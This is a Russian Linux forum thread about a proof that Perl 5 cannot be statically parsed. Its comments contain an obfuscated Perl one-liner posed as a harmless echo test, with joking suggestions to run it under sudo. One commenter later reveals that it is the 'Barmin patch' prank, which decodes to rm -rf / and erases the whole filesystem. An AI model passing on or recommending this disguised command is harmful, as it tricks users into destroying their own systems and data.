LINUX.ORG.RU

Доказана невозможность статического парсинга Perl 5

 , неразрешимость, ,


0

0

Формально доказана неразрешимость задачи статического синтаксического анализа Perl 5. В опубликованном доказательстве задача парсинга программы на Perl сводится к задаче остановки, которая, как известно любому школьнику, неразрешима.

Этот факт имеет важное практическое значение — он означает что в общем случае выяснить, что будет делать та или иная программа на Perl, возможно только выполнив саму программу. Методы статического анализа бессильны. Возникают ли подобые проблемы в Perl 6 — неизвестно.

Статьи (pdf): [1], [2], [3].

>>> Подробности

Ответ на: комментарий от Shaman007

root@dan-laptop:/# echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
test... test... test...
root@dan-laptop:/#

melkor217 ★★★★★
()
Ответ на: комментарий от Shaman007

>echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
>Что она у вас печатает?

Какое-то странное сокращение... ШВИМ
(just a joke %)

dogbert ★★★★★
()
Ответ на: комментарий от Shaman007

>Что она у вас печатает?
test... test... test...

Чтоб оно работало, мне кажется, надо писать так:
sudo echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


fleet
()
Ответ на: комментарий от Shaman007

> Что она у вас печатает?

Предвкушаю большое количество постов со словами "С*ка!!! Яйца вырву!!!" :-)

liksys ★★★★
()
Ответ на: комментарий от Pancerni

А как же до этого программы писали? Видимо теория тут далека от практики, либо это редкий случай. По моему проблема из пальца высосана.

Pancerni
()
Ответ на: комментарий от fleet

>Чтоб оно работало, мне кажется, надо писать так

Вечно вы все путаете... Вот так правильно:

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Dimanc ★★
()
Ответ на: комментарий от fleet

>Точно! На LiveCD оно запустится?

Конечно! только примонтируй все ноебходимое с hdd с rw.

Pavval ★★★★★
()
Ответ на: комментарий от Pancerni

этот прикол стар как говно мамонта, и зовётся он патч бармина. очень злая шутка, должен сказать. рассчитана на ламеров, забывших первое правило айтишника - без особой необходимости НИКОГДА НЕ РАБОТАТЬ ПОД РУТОМ. ну а вкратце перевод этой перловой прграммки на общепонятный язык выглядит так: rm -rf / не пытайтесь запустить этот скрипт. иначе рискуете хорошо узнать и запомнить, что такое анальная боль.

Voviandr
()
Ответ на: комментарий от melkor217

Кстати, интересная у них там формулировка:

"Даны описание алгоритма и его начальные входные данные, требуется определить, сможет ли выполнение алгоритма с этими данными завершиться когда-либо. Альтернативой этому является то, что он работает всё время без остановки."

Пока не доказано, что нечто гарантированно остановится, оно не имеет права называться алгоритмом, вроде как. Хотя, мы с Дональдом нашим Эрвином можем и ошибаться...

devinull ★★
()
Ответ на: комментарий от Voviandr

>этот прикол стар как говно мамонта

Дык тут еще и контингент не тот, если бы какой-нибудь сайтец с помощью новичкам...

MicroSoft
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.